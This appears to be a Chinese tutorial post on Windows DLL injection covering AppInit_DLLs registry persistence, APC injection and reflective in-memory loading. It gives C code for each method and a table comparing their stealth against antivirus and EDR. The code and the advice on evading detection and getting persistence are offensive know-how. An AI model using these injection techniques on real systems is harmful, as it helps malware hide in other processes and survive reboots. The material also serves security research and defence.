42、DLL注入技术(二):注册表注入、APC注入、反射式注入
上一讲我们聊了最基础的远程线程注入和消息钩子注入。说实话,那些方法在实战中太容易被杀了。今天我要讲的这三种——注册表注入、APC注入、反射式注入,才是真正能在对抗中派上用场的硬货。
我个人习惯把注入技术分成两类:一类是「粗暴型」,比如CreateRemoteThread,直接开干;另一类是「隐蔽型」,今天这三种都属于后者。你想想看,如果杀软只盯着CreateRemoteThread,那换个思路不就绕过去了吗?
注册表注入:最古老的持久化手段
注册表注入,说白了就是利用Windows的AppInit_DLLs机制。系统在加载user32.dll时,会检查这个注册表项,然后自动加载指定的DLL。
路径在这里:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
需要修改两个值:
| 注册表项 | 类型 | 说明 |
|---|---|---|
| AppInit_DLLs | REG_SZ / REG_MULTI_SZ | DLL路径,多个用空格或逗号分隔 |
| LoadAppInit_DLLs | REG_DWORD | 设为1启用,0禁用 |
代码实现其实很简单:
HKEY hKey;
LPCWSTR dllPath = L"C:\\Tools\\myhelper.dll";
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, L"AppInit_DLLs", 0, REG_SZ,
(BYTE*)dllPath, (wcslen(dllPath) + 1) * 2);
DWORD enable = 1;
RegSetValueEx(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD,
(BYTE*)&enable, sizeof(enable));
RegCloseKey(hKey);
嗯,这里要注意:修改HKLM需要管理员权限。而且重启后才会生效——这既是优点也是缺点。优点是隐蔽,缺点是即时性差。
APC注入:异步过程调用的妙用
APC注入是我个人比较喜欢的一种方式。它不需要创建远程线程,而是利用每个线程的APC队列。
原理是这样的:每个线程都有一个APC队列。当你用QueueUserAPC时,系统会把函数指针塞进目标线程的队列。等目标线程进入alertable等待状态(比如SleepEx、WaitForSingleObjectEx),就会执行你的APC函数。
流程图如下:
核心代码:
// 1. 打开目标线程
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
// 2. 在目标进程中分配内存,写入DLL路径
LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL,
MAX_PATH, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMem, dllPath, len, NULL);
// 3. 获取LoadLibraryA的地址
PTHREAD_START_ROUTINE pLoadLibrary = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
// 4. 插入APC
QueueUserAPC((PAPCFUNC)pLoadLibrary, hThread, (ULONG_PTR)pRemoteMem);
APC注入有个硬伤:目标线程必须进入alertable状态。如果目标是个计算密集型的线程,一直在跑循环,那你的APC永远得不到执行。我建议配合线程挂起或等待事件来触发。
反射式注入:无文件落地的艺术
反射式注入,这才是真正的高级玩法。它不需要调用LoadLibrary,而是自己手动加载DLL。这意味着什么呢?意味着DLL可以完全在内存中,不落地磁盘。
我记得第一次看到反射式注入的实现时,心里就一个想法:这他妈才是逆向工程该有的样子。
核心原理:
- 把DLL的二进制数据直接读到内存中
- 手动解析PE结构,处理重定位
- 修复导入表,加载依赖的DLL
- 调用DLLMain,传入DLL_PROCESS_ATTACH
关键代码片段:
// 反射加载器的核心逻辑
DWORD ReflectionLoader(LPVOID pDllData) {
// 1. 解析DOS头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pDllData;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pDllData + pDos->e_lfanew);
// 2. 分配内存(按DLL的ImageBase对齐)
LPVOID pBase = VirtualAlloc((LPVOID)pNt->OptionalHeader.ImageBase,
pNt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 3. 复制节区
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
memcpy((BYTE*)pBase + pSection[i].VirtualAddress,
(BYTE*)pDllData + pSection[i].PointerToRawData,
pSection[i].SizeOfRawData);
}
// 4. 修复重定位
// ... 遍历重定位表,修正地址
// 5. 修复导入表
// ... 加载依赖DLL,获取函数地址
// 6. 调用DLLMain
DLLMAIN pDllMain = (DLLMAIN)((BYTE*)pBase +
pNt->OptionalHeader.AddressOfEntryPoint);
pDllMain(pBase, DLL_PROCESS_ATTACH, NULL);
return 0;
}
但反射式注入也有坑:
- 重定位处理必须正确:如果DLL没有ASLR,而ImageBase又被占用了,你得自己处理重定位。我见过有人在这里写bug,导致DLL加载后直接崩。
- TLS回调:有些DLL有TLS回调函数,反射加载时不会自动触发。如果你依赖TLS初始化,得手动调用。
- 异常处理:反射加载的DLL,异常处理链可能不完整。建议在DLLMain里用SEH包一下。
三种注入技术的对比
| 特性 | 注册表注入 | APC注入 | 反射式注入 |
|---|---|---|---|
| 持久性 | 高(重启后仍生效) | 低(进程重启后失效) | 低(内存中,重启消失) |
| 隐蔽性 | 中(注册表有痕迹) | 高(无新线程) | 极高(无文件落地) |
| 即时性 | 低(需重启进程) | 中(需等待alertable) | 高(立即执行) |
| 权限要求 | 管理员 | THREAD_SET_CONTEXT | PROCESS_VM_WRITE + 执行 |
| 对抗难度 | 低(容易被注册表监控发现) | 中(部分EDR会监控APC) | 高(需要深度内存扫描) |
我个人建议:如果是做持久化,注册表注入配合启动项是个不错的选择;如果是做一次性的代码执行,APC注入更干净;如果追求极致的隐蔽性,反射式注入是首选。
最后说一句:这些技术本身没有善恶之分。我在做安全研究时用它们来验证防御体系的有效性,但用在恶意软件里就是另一回事了。嗯,点到为止。
公众号:蓝海资料掘金营,微信deep3321